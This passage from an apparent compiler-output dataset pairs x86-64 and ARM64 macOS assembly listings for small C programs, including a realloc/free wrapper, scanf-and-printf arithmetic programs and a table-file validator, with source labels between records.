.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
ldp w0, w19, [x0]
bl _Range_Get
mov x1, x0
mov x0, x19
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x20, x19, [sp], #32 ; 16-byte Folded Reload
b _get
.cfi_endproc
; -- End function
.no_dead_strip _Slice_Get
.subsections_via_symbols
| AnghaBench/Cello/src/extr_Iter.c_Slice_Get.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 15, 0 sdk_version 15, 5
.p2align 4, 0x90 ## -- Begin function l_alloc
_l_alloc: ## @l_alloc
.cfi_startproc
## %bb.0:
movq %rsi, %rdi
testq %rcx, %rcx
je LBB0_1
## %bb.2:
movq %rcx, %rsi
jmp _realloc ## TAILCALL
LBB0_1:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
callq _free
xorl %eax, %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.section __DATA,__data
.globl _g_aug_volatile_7711 ## @g_aug_volatile_7711
.p2align 2, 0x0
_g_aug_volatile_7711:
.long 10 ## 0xa
.no_dead_strip _l_alloc
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 15, 0 sdk_version 15, 5
.p2align 2 ; -- Begin function l_alloc
_l_alloc: ; @l_alloc
.cfi_startproc
; %bb.0:
mov x0, x1
cbz x3, LBB0_2
; %bb.1:
mov x1, x3
b _realloc
LBB0_2:
stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill
mov x29, sp
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
bl _free
mov x0, #0 ; =0x0
ldp x29, x30, [sp], #16 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.section __DATA,__data
.globl _g_aug_volatile_7711 ; @g_aug_volatile_7711
.p2align 2, 0x0
_g_aug_volatile_7711:
.long 10 ; 0xa
.no_dead_strip _l_alloc
.subsections_via_symbols
| assembly_file_100740.c | assembly_dataset |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %rbx
pushq %rax
.cfi_offset %rbx, -24
leaq L_.str(%rip), %rdi
xorl %ebx, %ebx
leaq -12(%rbp), %rsi
xorl %eax, %eax
callq _scanf
movl -12(%rbp), %eax
movl %eax, %esi
imull %eax, %esi
addl %eax, %esi
testl %eax, %eax
cmovlel %ebx, %esi
leaq L_.str.1(%rip), %rdi
xorl %eax, %eax
callq _printf
xorl %eax, %eax
addq $8, %rsp
popq %rbx
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "%d"
L_.str.1: ## @.str.1
.asciz "count = %d\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
sub x8, x29, #4
str x8, [sp]
Lloh0:
adrp x0, l_.str@PAGE
Lloh1:
add x0, x0, l_.str@PAGEOFF
bl _scanf
ldur w8, [x29, #-4]
madd w9, w8, w8, w8
cmp w8, #0
csel w8, w9, wzr, gt
str x8, [sp]
Lloh2:
adrp x0, l_.str.1@PAGE
Lloh3:
add x0, x0, l_.str.1@PAGEOFF
bl _printf
mov w0, #0
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.loh AdrpAdd Lloh2, Lloh3
.loh AdrpAdd Lloh0, Lloh1
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%d"
l_.str.1: ; @.str.1
.asciz "count = %d\n"
.subsections_via_symbols
| the_stack_data/771015.c | stack |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _somquad ## -- Begin function somquad
.p2align 4, 0x90
_somquad: ## @somquad
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movdqu (%rdi), %xmm0
movdqu 16(%rdi), %xmm1
movdqu 32(%rdi), %xmm2
movdqu 48(%rdi), %xmm3
pmulld %xmm0, %xmm0
movdqu 64(%rdi), %xmm4
pmulld %xmm3, %xmm3
pmulld %xmm1, %xmm1
paddd %xmm3, %xmm1
pmulld %xmm4, %xmm4
pmulld %xmm2, %xmm2
paddd %xmm4, %xmm2
paddd %xmm1, %xmm2
pshufd $238, %xmm2, %xmm1 ## xmm1 = xmm2[2,3,2,3]
paddd %xmm2, %xmm1
pshufd $85, %xmm1, %xmm2 ## xmm2 = xmm1[1,1,1,1]
paddd %xmm1, %xmm2
movd %xmm2, %eax
pshufd $238, %xmm0, %xmm1 ## xmm1 = xmm0[2,3,2,3]
paddd %xmm0, %xmm1
pshufd $85, %xmm1, %xmm0 ## xmm0 = xmm1[1,1,1,1]
paddd %xmm1, %xmm0
movd %xmm0, %esi
addl %eax, %esi
leaq L_.str(%rip), %rdi
xorl %eax, %eax
popq %rbp
jmp _printf ## TAILCALL
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %rbx
subq $88, %rsp
.cfi_offset %rbx, -24
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -16(%rbp)
leaq L_.str(%rip), %rbx
leaq -96(%rbp), %rsi
movq %rbx, %rdi
xorl %eax, %eax
callq _scanf
leaq -92(%rbp), %rsi
movq %rbx, %rdi
xorl %eax, %eax
callq _scanf
leaq -88(%rbp), %rsi
movq %rbx, %rdi
xorl %eax, %eax
callq _scanf
leaq -84(%rbp), %rsi
movq %rbx, %rdi
xorl %eax, %eax
callq _scanf
leaq -80(%rbp), %rsi
movq %rbx, %rdi
xorl %eax, %eax
callq _scanf
leaq -76(%rbp), %rsi
movq %rbx, %rdi
xorl %eax, %eax
callq _scanf
leaq -72(%rbp), %rsi
movq %rbx, %rdi
xorl %eax, %eax
callq _scanf
leaq -68(%rbp), %rsi
movq %rbx, %rdi
xorl %eax, %eax
callq _scanf
leaq -64(%rbp), %rsi
movq %rbx, %rdi
xorl %eax, %eax
callq _scanf
leaq -60(%rbp), %rsi
movq %rbx, %rdi
xorl %eax, %eax
callq _scanf
leaq -56(%rbp), %rsi
movq %rbx, %rdi
xorl %eax, %eax
callq _scanf
leaq -52(%rbp), %rsi
movq %rbx, %rdi
xorl %eax, %eax
callq _scanf
leaq -48(%rbp), %rsi
movq %rbx, %rdi
xorl %eax, %eax
callq _scanf
leaq -44(%rbp), %rsi
movq %rbx, %rdi
xorl %eax, %eax
callq _scanf
leaq -40(%rbp), %rsi
movq %rbx, %rdi
xorl %eax, %eax
callq _scanf
leaq -36(%rbp), %rsi
movq %rbx, %rdi
xorl %eax, %eax
callq _scanf
leaq -32(%rbp), %rsi
movq %rbx, %rdi
xorl %eax, %eax
callq _scanf
leaq -28(%rbp), %rsi
movq %rbx, %rdi
xorl %eax, %eax
callq _scanf
leaq -24(%rbp), %rsi
movq %rbx, %rdi
xorl %eax, %eax
callq _scanf
leaq -20(%rbp), %rsi
movq %rbx, %rdi
xorl %eax, %eax
callq _scanf
movdqa -96(%rbp), %xmm0
movdqa -80(%rbp), %xmm1
movdqa -64(%rbp), %xmm2
movdqa -48(%rbp), %xmm3
pmulld %xmm2, %xmm2
pmulld %xmm0, %xmm0
paddd %xmm2, %xmm0
pmulld %xmm3, %xmm3
pmulld %xmm1, %xmm1
paddd %xmm3, %xmm1
paddd %xmm0, %xmm1
movdqa -32(%rbp), %xmm0
pmulld %xmm0, %xmm0
pshufd $238, %xmm1, %xmm2 ## xmm2 = xmm1[2,3,2,3]
paddd %xmm1, %xmm2
pshufd $85, %xmm2, %xmm1 ## xmm1 = xmm2[1,1,1,1]
paddd %xmm2, %xmm1
movd %xmm1, %eax
pshufd $238, %xmm0, %xmm1 ## xmm1 = xmm0[2,3,2,3]
paddd %xmm0, %xmm1
pshufd $85, %xmm1, %xmm0 ## xmm0 = xmm1[1,1,1,1]
paddd %xmm1, %xmm0
movd %xmm0, %esi
addl %eax, %esi
movq %rbx, %rdi
xorl %eax, %eax
callq _printf
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
cmpq -16(%rbp), %rax
jne LBB1_2
## %bb.1:
xorl %eax, %eax
addq $88, %rsp
popq %rbx
popq %rbp
retq
LBB1_2:
callq ___stack_chk_fail
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "%d"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _somquad ; -- Begin function somquad
.p2align 2
_somquad: ; @somquad
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
ldp q4, q0, [x0, #48]
ldp q1, q2, [x0]
ldr q3, [x0, #32]
mul.4s v4, v4, v4
mul.4s v0, v0, v0
mla.4s v0, v3, v3
mla.4s v4, v2, v2
add.4s v0, v4, v0
mla.4s v0, v1, v1
addv.4s s0, v0
fmov w8, s0
str x8, [sp]
Lloh0:
adrp x0, l_.str@PAGE
Lloh1:
add x0, x0, l_.str@PAGEOFF
bl _printf
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.loh AdrpAdd Lloh0, Lloh1
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #128
.cfi_def_cfa_offset 128
stp x20, x19, [sp, #96] ; 16-byte Folded Spill
stp x29, x30, [sp, #112] ; 16-byte Folded Spill
add x29, sp, #112
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
Lloh2:
adrp x8, ___stack_chk_guard@GOTPAGE
Lloh3:
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
Lloh4:
ldr x8, [x8]
stur x8, [x29, #-24]
add x20, sp, #8
str x20, [sp]
Lloh5:
adrp x19, l_.str@PAGE
Lloh6:
add x19, x19, l_.str@PAGEOFF
mov x0, x19
bl _scanf
add x8, x20, #4
str x8, [sp]
mov x0, x19
bl _scanf
add x8, x20, #8
str x8, [sp]
mov x0, x19
bl _scanf
add x8, x20, #12
str x8, [sp]
mov x0, x19
bl _scanf
add x8, x20, #16
str x8, [sp]
mov x0, x19
bl _scanf
add x8, x20, #20
str x8, [sp]
mov x0, x19
bl _scanf
add x8, x20, #24
str x8, [sp]
mov x0, x19
bl _scanf
add x8, x20, #28
str x8, [sp]
mov x0, x19
bl _scanf
add x8, x20, #32
str x8, [sp]
mov x0, x19
bl _scanf
add x8, x20, #36
str x8, [sp]
mov x0, x19
bl _scanf
add x8, x20, #40
str x8, [sp]
mov x0, x19
bl _scanf
add x8, x20, #44
str x8, [sp]
mov x0, x19
bl _scanf
add x8, x20, #48
str x8, [sp]
mov x0, x19
bl _scanf
add x8, x20, #52
str x8, [sp]
mov x0, x19
bl _scanf
add x8, x20, #56
str x8, [sp]
mov x0, x19
bl _scanf
add x8, x20, #60
str x8, [sp]
mov x0, x19
bl _scanf
add x8, x20, #64
str x8, [sp]
mov x0, x19
bl _scanf
add x8, x20, #68
str x8, [sp]
mov x0, x19
bl _scanf
add x8, x20, #72
str x8, [sp]
mov x0, x19
bl _scanf
add x8, x20, #76
str x8, [sp]
mov x0, x19
bl _scanf
ldur q0, [sp, #24]
ldur q1, [sp, #8]
ldur q2, [sp, #56]
ldur q3, [sp, #40]
mul.4s v3, v3, v3
mul.4s v2, v2, v2
ldur q4, [sp, #72]
mla.4s v2, v0, v0
mla.4s v3, v1, v1
add.4s v0, v3, v2
mla.4s v0, v4, v4
addv.4s s0, v0
fmov w8, s0
str x8, [sp]
mov x0, x19
bl _printf
ldur x8, [x29, #-24]
Lloh7:
adrp x9, ___stack_chk_guard@GOTPAGE
Lloh8:
ldr x9, [x9, ___stack_chk_guard@GOTPAGEOFF]
Lloh9:
ldr x9, [x9]
cmp x9, x8
b.ne LBB1_2
; %bb.1:
mov w0, #0
ldp x29, x30, [sp, #112] ; 16-byte Folded Reload
ldp x20, x19, [sp, #96] ; 16-byte Folded Reload
add sp, sp, #128
ret
LBB1_2:
bl ___stack_chk_fail
.loh AdrpLdrGotLdr Lloh7, Lloh8, Lloh9
.loh AdrpAdd Lloh5, Lloh6
.loh AdrpLdrGotLdr Lloh2, Lloh3, Lloh4
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%d"
.subsections_via_symbols
| the_stack_data/242331102.c | stack |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _is_eof ## -- Begin function is_eof
.p2align 4, 0x90
_is_eof: ## @is_eof
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r14
pushq %rbx
.cfi_offset %rbx, -32
.cfi_offset %r14, -24
movq %rdi, %rbx
callq _fgetc
cmpl $-1, %eax
sete %r14b
movl %eax, %edi
movq %rbx, %rsi
callq _ungetc
movl %r14d, %eax
popq %rbx
popq %r14
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
subq $24, %rsp
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %rsi, %r12
cmpl $2, %edi
jl LBB1_23
## %bb.1:
movl %edi, %r13d
movb $1, %bl
movl $1, %r15d
xorl %r14d, %r14d
jmp LBB1_2
.p2align 4, 0x90
LBB1_4: ## in Loop: Header=BB1_2 Depth=1
leaq L_.str(%rip), %rsi
callq _strcmp
testl %eax, %eax
movzbl %bl, %ebx
cmovel %eax, %ebx
LBB1_5: ## in Loop: Header=BB1_2 Depth=1
incq %r15
cmpq %r15, %r13
je LBB1_6
LBB1_2: ## =>This Inner Loop Header: Depth=1
movq (%r12,%r15,8), %rdi
cmpb $45, (%rdi)
je LBB1_4
## %bb.3: ## in Loop: Header=BB1_2 Depth=1
movq %rdi, %r14
jmp LBB1_5
LBB1_6:
testq %r14, %r14
je LBB1_23
## %bb.7:
leaq L_.str.1(%rip), %rsi
movq %r14, %rdi
callq _fopen
testq %rax, %rax
je LBB1_24
## %bb.8:
movq %rax, %r15
andb $1, %bl
movzbl %bl, %ebx
movq %rax, %rdi
movl %ebx, %esi
callq _validate
testb %al, %al
je LBB1_25
## %bb.9:
leaq L_str(%rip), %rdi
callq _puts
movl $10, %edi
callq _putchar
movq %r15, -64(%rbp) ## 8-byte Spill
movq %r15, %rdi
movl %ebx, %esi
callq _read_table
movq %rax, -48(%rbp) ## 8-byte Spill
movl (%rax), %ebx
leaq L_.str.5(%rip), %rdi
movl %ebx, %esi
xorl %eax, %eax
callq _printf
testl %ebx, %ebx
jle LBB1_12
## %bb.10:
movq -48(%rbp), %rax ## 8-byte Reload
movq 8(%rax), %r12
leaq L_.str.9(%rip), %r14
leaq L_.str.7(%rip), %r15
xorl %r13d, %r13d
.p2align 4, 0x90
LBB1_11: ## =>This Inner Loop Header: Depth=1
movq (%r12,%r13,8), %rax
movq (%rax), %rsi
leaq L_.str.6(%rip), %rdi
xorl %eax, %eax
callq _printf
movq (%r12,%r13,8), %rax
cmpl $0, 8(%rax)
movq %r14, %rsi
leaq L_.str.8(%rip), %rax
cmoveq %rax, %rsi
movq %r15, %rdi
xorl %eax, %eax
callq _printf
movl $10, %edi
callq _putchar
incq %r13
cmpq %r13, %rbx
jne LBB1_11
LBB1_12:
movl $10, %edi
callq _putchar
movq -48(%rbp), %rax ## 8-byte Reload
movq 24(%rax), %rax
movq 8(%rax), %r13
testq %r13, %r13
je LBB1_22
## %bb.13:
movl $1, %esi
leaq L_.str.6(%rip), %r14
jmp LBB1_14
.p2align 4, 0x90
LBB1_21: ## in Loop: Header=BB1_14 Depth=1
movl $10, %edi
callq _putchar
movl -52(%rbp), %esi ## 4-byte Reload
incl %esi
movq 8(%r13), %r13
testq %r13, %r13
je LBB1_22
LBB1_14: ## =>This Loop Header: Depth=1
## Child Loop BB1_16 Depth 2
leaq L_.str.10(%rip), %rdi
movl %esi, -52(%rbp) ## 4-byte Spill
xorl %eax, %eax
callq _printf
testl %ebx, %ebx
jle LBB1_21
## %bb.15: ## in Loop: Header=BB1_14 Depth=1
movq -48(%rbp), %rax ## 8-byte Reload
movq 8(%rax), %r15
xorl %r12d, %r12d
jmp LBB1_16
.p2align 4, 0x90
LBB1_19: ## in Loop: Header=BB1_16 Depth=2
movq (%r13), %rax
movq (%rax,%r12,8), %rdi
callq _puts
LBB1_20: ## in Loop: Header=BB1_16 Depth=2
incq %r12
cmpq %r12, %rbx
je LBB1_21
LBB1_16: ## Parent Loop BB1_14 Depth=1
## => This Inner Loop Header: Depth=2
movq (%r15,%r12,8), %rax
movq (%rax), %rsi
movq %r14, %rdi
xorl %eax, %eax
callq _printf
movq (%r15,%r12,8), %rax
movl 8(%rax), %eax
cmpl $1, %eax
je LBB1_19
## %bb.17: ## in Loop: Header=BB1_16 Depth=2
testl %eax, %eax
jne LBB1_20
## %bb.18: ## in Loop: Header=BB1_16 Depth=2
movq (%r13), %rax
movq (%rax,%r12,8), %rax
movsd (%rax), %xmm0 ## xmm0 = mem[0],zero
leaq L_.str.11(%rip), %rdi
movb $1, %al
callq _printf
jmp LBB1_20
LBB1_22:
movq -64(%rbp), %rdi ## 8-byte Reload
callq _fclose
xorl %eax, %eax
addq $24, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
LBB1_23:
movq (%r12), %rdi
callq _usage
movl %eax, %edi
callq _exit
LBB1_24:
movq ___stderrp@GOTPCREL(%rip), %rax
movq (%rax), %r15
movq (%r12), %rbx
callq ___error
movl (%rax), %edi
callq _strerror
leaq L_.str.2(%rip), %rsi
movq %r15, %rdi
movq %rbx, %rdx
movq %r14, %rcx
movq %rax, %r8
xorl %eax, %eax
callq _fprintf
callq ___error
movl (%rax), %edi
callq _exit
LBB1_25:
movq ___stderrp@GOTPCREL(%rip), %rax
movq (%rax), %rcx
leaq L_.str.3(%rip), %rdi
movl $18, %esi
movl $1, %edx
callq _fwrite
movl $-1, %edi
callq _exit
.cfi_endproc
## -- End function
.globl _usage ## -- Begin function usage
.p2align 4, 0x90
_usage: ## @usage
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, %rsi
leaq L_.str.13(%rip), %rdi
xorl %eax, %eax
callq _printf
callq ___error
movl (%rax), %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _validate ## -- Begin function validate
.p2align 4, 0x90
_validate: ## @validate
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
subq $24, %rsp
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movl %esi, -44(%rbp) ## 4-byte Spill
movq %rdi, %r12
callq _ftell
movq %rax, %r14
movq %r12, %rdi
callq _rewind
movl $1, %edi
movl $24, %esi
callq _calloc
movq %rax, %rbx
movl $3, (%rax)
cmpb $0, _debug(%rip)
je LBB3_2
## %bb.1:
leaq L_.str.15(%rip), %rdi
callq _puts
LBB3_2:
movq %r12, %rdi
callq _fgetc
cmpl $-1, %eax
je LBB3_118
## %bb.3:
movl %eax, %r15d
movq %r14, -56(%rbp) ## 8-byte Spill
xorl %r14d, %r14d
jmp LBB3_5
.p2align 4, 0x90
LBB3_4: ## in Loop: Header=BB3_5 Depth=1
movq %r12, %rdi
callq _fgetc
movl %eax, %r15d
movl %r13d, %r14d
cmpl $-1, %eax
je LBB3_115
LBB3_5: ## =>This Loop Header: Depth=1
## Child Loop BB3_15 Depth 2
## Child Loop BB3_69 Depth 2
cmpb $0, _debug(%rip)
je LBB3_7
## %bb.6: ## in Loop: Header=BB3_5 Depth=1
movl %r14d, %eax
leaq _state_strings(%rip), %rcx
movq (%rcx,%rax,8), %rsi
leaq L_.str.16(%rip), %rdi
xorl %eax, %eax
callq _printf
cmpl $16, %r15d
leaq L_.str.19(%rip), %rdx
leaq L_.str.18(%rip), %rax
cmovlq %rax, %rdx
leaq L_.str.17(%rip), %rdi
movl %r15d, %esi
movl %r15d, %ecx
xorl %eax, %eax
callq _printf
movl (%rbx), %eax
leaq _symbol_strings(%rip), %rcx
movq (%rcx,%rax,8), %rsi
leaq L_.str.20(%rip), %rdi
xorl %eax, %eax
callq _printf
LBB3_7: ## in Loop: Header=BB3_5 Depth=1
cmpl $2, %r14d
je LBB3_93
## %bb.8: ## in Loop: Header=BB3_5 Depth=1
cmpl $13, %r15d
je LBB3_93
## %bb.9: ## in Loop: Header=BB3_5 Depth=1
movq 8(%rbx), %rax
testq %rax, %rax
jne LBB3_11
## %bb.10: ## in Loop: Header=BB3_5 Depth=1
movl (%rbx), %ecx
leal -5(%rcx), %edx
cmpl $3, %edx
jae LBB3_36
LBB3_11: ## in Loop: Header=BB3_5 Depth=1
testl %r14d, %r14d
je LBB3_28
## %bb.12: ## in Loop: Header=BB3_5 Depth=1
cmpl $3, %r14d
jne LBB3_22
## %bb.13: ## in Loop: Header=BB3_5 Depth=1
cmpl $5, (%rbx)
jne LBB3_22
## %bb.14: ## in Loop: Header=BB3_5 Depth=1
movq %rbx, %rax
.p2align 4, 0x90
LBB3_15: ## Parent Loop BB3_5 Depth=1
## => This Inner Loop Header: Depth=2
movq 16(%rax), %rax
cmpl $3, (%rax)
jne LBB3_15
## %bb.16: ## in Loop: Header=BB3_5 Depth=1
movq 8(%rax), %rbx
movl $4, (%rax)
leal -48(%r15), %eax
cmpl $45, %r15d
je LBB3_64
## %bb.17: ## in Loop: Header=BB3_5 Depth=1
cmpl $9, %eax
jbe LBB3_64
## %bb.18: ## in Loop: Header=BB3_5 Depth=1
movl $2, %r13d
cmpl $34, %r15d
jne LBB3_94
## %bb.19: ## in Loop: Header=BB3_5 Depth=1
movl (%rbx), %eax
movl $8, %r13d
cmpl $5, %eax
je LBB3_114
## %bb.20: ## in Loop: Header=BB3_5 Depth=1
cmpl $2, %eax
je LBB3_21
jmp LBB3_94
.p2align 4, 0x90
LBB3_22: ## in Loop: Header=BB3_5 Depth=1
xorl %ecx, %ecx
LBB3_23: ## in Loop: Header=BB3_5 Depth=1
leal -4(%r14), %edx
cmpl $10, %r15d
je LBB3_42
## %bb.24: ## in Loop: Header=BB3_5 Depth=1
cmpl $44, %r15d
jne LBB3_45
## %bb.25: ## in Loop: Header=BB3_5 Depth=1
cmpl $5, %edx
ja LBB3_60
## %bb.26: ## in Loop: Header=BB3_5 Depth=1
leaq LJTI3_4(%rip), %rsi
movslq (%rsi,%rdx,4), %rcx
addq %rsi, %rcx
jmpq *%rcx
LBB3_27: ## in Loop: Header=BB3_5 Depth=1
movl (%rbx), %ecx
addl $-5, %ecx
xorl %r13d, %r13d
cmpl $3, %ecx
setb %r13b
cmovaeq %rax, %rbx
addl %r13d, %r13d
jmp LBB3_94
LBB3_28: ## in Loop: Header=BB3_5 Depth=1
movl (%rbx), %edx
cmpl $5, %edx
je LBB3_30
## %bb.29: ## in Loop: Header=BB3_5 Depth=1
movb $1, %cl
cmpl $2, %edx
jne LBB3_23
LBB3_30: ## in Loop: Header=BB3_5 Depth=1
leal -48(%r15), %eax
cmpl $45, %r15d
je LBB3_58
## %bb.31: ## in Loop: Header=BB3_5 Depth=1
cmpl $9, %eax
jbe LBB3_58
## %bb.32: ## in Loop: Header=BB3_5 Depth=1
movl $2, %r13d
cmpl $34, %r15d
jne LBB3_94
## %bb.33: ## in Loop: Header=BB3_5 Depth=1
movl $8, %r13d
cmpl $5, %edx
je LBB3_114
## %bb.34: ## in Loop: Header=BB3_5 Depth=1
cmpl $2, %edx
jne LBB3_94
LBB3_21: ## in Loop: Header=BB3_5 Depth=1
movl $0, (%rbx)
jmp LBB3_94
LBB3_36: ## in Loop: Header=BB3_5 Depth=1
cmpb $0, -44(%rbp) ## 1-byte Folded Reload
je LBB3_48
## %bb.37: ## in Loop: Header=BB3_5 Depth=1
cmpl $9, %r14d
je LBB3_77
## %bb.38: ## in Loop: Header=BB3_5 Depth=1
cmpl $8, %r14d
je LBB3_80
## %bb.39: ## in Loop: Header=BB3_5 Depth=1
testl %r14d, %r14d
jne LBB3_93
## %bb.40: ## in Loop: Header=BB3_5 Depth=1
movl $2, %r13d
cmpl $34, %r15d
jne LBB3_94
## %bb.41: ## in Loop: Header=BB3_5 Depth=1
movl $1, %edi
movl $24, %esi
callq _calloc
movq %rax, 8(%rbx)
movq %rbx, 16(%rax)
movl $2, (%rax)
jmp LBB3_111
LBB3_42: ## in Loop: Header=BB3_5 Depth=1
cmpl $5, %edx
ja LBB3_60
## %bb.43: ## in Loop: Header=BB3_5 Depth=1
movl $2, %r14d
leaq LJTI3_3(%rip), %rcx
movslq (%rcx,%rdx,4), %rax
addq %rcx, %rax
jmpq *%rax
LBB3_44: ## in Loop: Header=BB3_5 Depth=1
movl (%rbx), %eax
andl $-2, %eax
xorl %ecx, %ecx
cmpl $6, %eax
sete %cl
movl $2, %r13d
subl %ecx, %r13d
jmp LBB3_94
LBB3_45: ## in Loop: Header=BB3_5 Depth=1
cmpl $5, %edx
ja LBB3_60
## %bb.46: ## in Loop: Header=BB3_5 Depth=1
movl $2, %r13d
leaq LJTI3_5(%rip), %rcx
movslq (%rcx,%rdx,4), %rax
addq %rcx, %rax
jmpq *%rax
LBB3_47: ## in Loop: Header=BB3_5 Depth=1
addl $-48, %r15d
xorl %eax, %eax
cmpl $10, %r15d
setb %al
leal (%rax,%rax,4), %r13d
addl $2, %r13d
jmp LBB3_94
LBB3_48: ## in Loop: Header=BB3_5 Depth=1
cmpl $3, %ecx
jne LBB3_50
## %bb.49: ## in Loop: Header=BB3_5 Depth=1
movl $4, (%rbx)
movl $4, %ecx
LBB3_50: ## in Loop: Header=BB3_5 Depth=1
testl %r14d, %r14d
je LBB3_74
## %bb.51: ## in Loop: Header=BB3_5 Depth=1
leal -4(%r14), %eax
cmpl $44, %r15d
je LBB3_86
## %bb.52: ## in Loop: Header=BB3_5 Depth=1
cmpl $10, %r15d
jne LBB3_88
## %bb.53: ## in Loop: Header=BB3_5 Depth=1
cmpl $5, %eax
ja LBB3_93
## %bb.54: ## in Loop: Header=BB3_5 Depth=1
movl $2, %r14d
leaq LJTI3_1(%rip), %rdx
movslq (%rdx,%rax,4), %rax
addq %rdx, %rax
jmpq *%rax
LBB3_55: ## in Loop: Header=BB3_5 Depth=1
movl $1, %r13d
testl %ecx, %ecx
je LBB3_114
## %bb.56: ## in Loop: Header=BB3_5 Depth=1
cmpl $1, %ecx
jne LBB3_94
## %bb.57: ## in Loop: Header=BB3_5 Depth=1
movl $7, (%rbx)
jmp LBB3_94
LBB3_58: ## in Loop: Header=BB3_5 Depth=1
cmpl $2, %edx
je LBB3_83
## %bb.59: ## in Loop: Header=BB3_5 Depth=1
cmpl $5, %edx
je LBB3_66
jmp LBB3_85
LBB3_60: ## in Loop: Header=BB3_5 Depth=1
testb %cl, %cl
je LBB3_67
## %bb.61: ## in Loop: Header=BB3_5 Depth=1
movl (%rbx), %eax
cmpq $7, %rax
ja LBB3_93
## %bb.62: ## in Loop: Header=BB3_5 Depth=1
leaq LJTI3_7(%rip), %rcx
movslq (%rcx,%rax,4), %rax
addq %rcx, %rax
movl %r14d, %r13d
jmpq *%rax
LBB3_63: ## in Loop: Header=BB3_5 Depth=1
cmpl $34, %r15d
movl $2, %r13d
movl $8, %eax
cmovel %eax, %r13d
jmp LBB3_94
LBB3_64: ## in Loop: Header=BB3_5 Depth=1
movl (%rbx), %ecx
cmpl $2, %ecx
je LBB3_83
## %bb.65: ## in Loop: Header=BB3_5 Depth=1
cmpl $5, %ecx
jne LBB3_85
LBB3_66: ## in Loop: Header=BB3_5 Depth=1
movl $7, %ecx
jmp LBB3_84
LBB3_83: ## in Loop: Header=BB3_5 Depth=1
movl $1, %ecx
LBB3_84: ## in Loop: Header=BB3_5 Depth=1
movl %ecx, (%rbx)
